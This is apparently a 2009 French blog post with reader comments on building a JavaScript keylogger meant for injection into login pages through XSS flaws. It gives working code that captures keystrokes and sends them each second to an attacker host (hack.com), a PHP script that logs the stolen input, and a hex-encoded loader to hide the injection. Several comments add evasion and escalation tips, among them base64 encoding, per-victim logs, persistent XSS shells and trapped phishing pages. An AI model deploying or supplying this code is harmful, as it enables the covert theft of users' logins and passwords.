Un keylogger en Javascript


Keylogger
Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.

L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.

Un keylogger en Javascript

Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.

Un keylogger en Javascript

Voici un exemple de keylogger écrit en JavaScript :

<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>

Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a+");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>

Dissimulation du keylogger

Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :

<script language="javascript" src="http://hack.com/javascript.js"></script>

On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :

<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>

Autres articles du même sujet


13 Commentaires pour "Un keylogger en Javascript"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Tu peux également encoder ton script en base64 et le coller directement dans le HTML ;)

    ReplyRépondre
    Chibani , le 1 Décembre 2009 à 09:13
  •  

    Super comme astuce! maintenant tout les petits merdeux de 15ans vont pouvoir foutre ca sur leur page perso :)

    ReplyRépondre
    bourvill , le 1 Décembre 2009 à 09:24
  •  

    oui mais bon sa sert a rien...
    sa enverra les touches pressés en ayant le site ouvert à l'écran...
    c'est pas un programme qui tourne en arrière plan..

    ReplyRépondre
    namezero , le 1 Décembre 2009 à 10:11
  •  

    je trouve ça avant fort et je n'y avais pas pensé.
    C'est pas le problème des gens qui le mettent sur leur site, mais, comme indiqué, plutôt de ceux qui l'injecte via une faille XSS. Si il est injecté et que quelqu'un rentre son loggin/pass sur la page, le méchant connaitra le loggin/pass!

    ReplyRépondre
    einboubou , le 1 Décembre 2009 à 10:40
  •  

    Ca mériterait un fichier par IP ou par je sais pas quoi... Car là avec des connexions concurrentes, le fichier txt va vite devenir un bordel qui n'aura servi à rien :p

    ReplyRépondre
    Bastien , le 1 Décembre 2009 à 11:10
  •  

    @bourvill : à condition que le morveux en question trouve une faille XSS et sache l'exploiter correctement. C'est pas donné à tout le monde ...

    @Bastien : j'ai pas poussé le concept jusqu'au bout. Mais effectivement, si une url avec une faille XSS est envoyée à beaucoup de monde, le fichier collectera beaucoup trop de caractères. Le mieux est peut-être la personnalisation du script JavaScript pour chaque victime, afin de séparer les fichiers de logs.

    ReplyRépondre
    pti-seb , le 1 Décembre 2009 à 12:50
  •  

    Salut

    Ce genre de script est assez utilisé pour des trucs un peut moins pernicieux, comme les sésames. Quand j'étais plus jeune, une script de keylogging scrutait les combinaisons de touches, si une séquence était détectée, alors celui qui l'avait tappée entrait sur une page spéciale - et cachée -

    Enfin, ca a le mérite de faire une petite note underground pour ameuter les curieux !

    plusplus

    ReplyRépondre
    Tixlegeek , le 1 Décembre 2009 à 13:23
  •  

    L'astuce est déjà connue, mais il est toujours bon d'informer les utilisateurs ! Et @bourvill faut juste pas perdre son temps sur le site de "petits merdeux de 15ans". Enfin souvant on rigole bien à voir le super site des jailbreakers de "Polly Pocket" en culotte courte ;)

    ReplyRépondre
    rdesbonnet , le 1 Décembre 2009 à 20:28
  •  

    Il est possible d'avoir ce système en mode persistant : XSS Shell. Du moins tant qu'on continue de naviguer
    Ce système va même jusqu'à créer un proxy pour surfer de son poste avec les droits de la victime.
    Quand à trouver des failles XSS, pas besoin de s'embêter puisqu'on nous les sert sur un plateau sur le site XSSed ;-)

    ReplyRépondre
    Benoît , le 2 Décembre 2009 à 11:44
  •  

    On pourrait aussi noter que ce code peut être exploité sans injection avec une page piégée (moins intéressant bien sur). Il suffit d'utiliser sa propre page Web (de petit morveux qui se respecte), d'implémenter le code javascript avec en plus ce petit bout de php tout bête qui récupère le code source d'une page web victime : echo file_get_contents(url). On affiche donc une page web choisie chez la victime et qui sera "écoutée" chez le hacker.
    (maquillage et diffusion de l'url-piégée oblige). Solution maintes fois exploitée.

    ReplyRépondre
    zeojex , le 3 Décembre 2009 à 16:54
  •  

    Faut il que la fenetre web soit active ou juste affichée pour que le keylogger fonctionne ?

    ReplyRépondre
    Tuxicoman , le 6 Janvier 2010 à 23:33
  •  

    @Tuxicoman : pour que javascript fonctionne, je pense qu'il faut qu'elle soit active. Ce serait trop facile sinon, cela permettrait de loger tous ce qui est saisie en dehors du navigateur.

    ReplyRépondre
    pti-seb , le 6 Janvier 2010 à 23:47
  •  

    @zeojex :
    lol qui ne sait pas sa ^^

    ReplyRépondre
    xulandrix , le 30 Janvier 2010 à 20:55
 

Ajouter un commentaire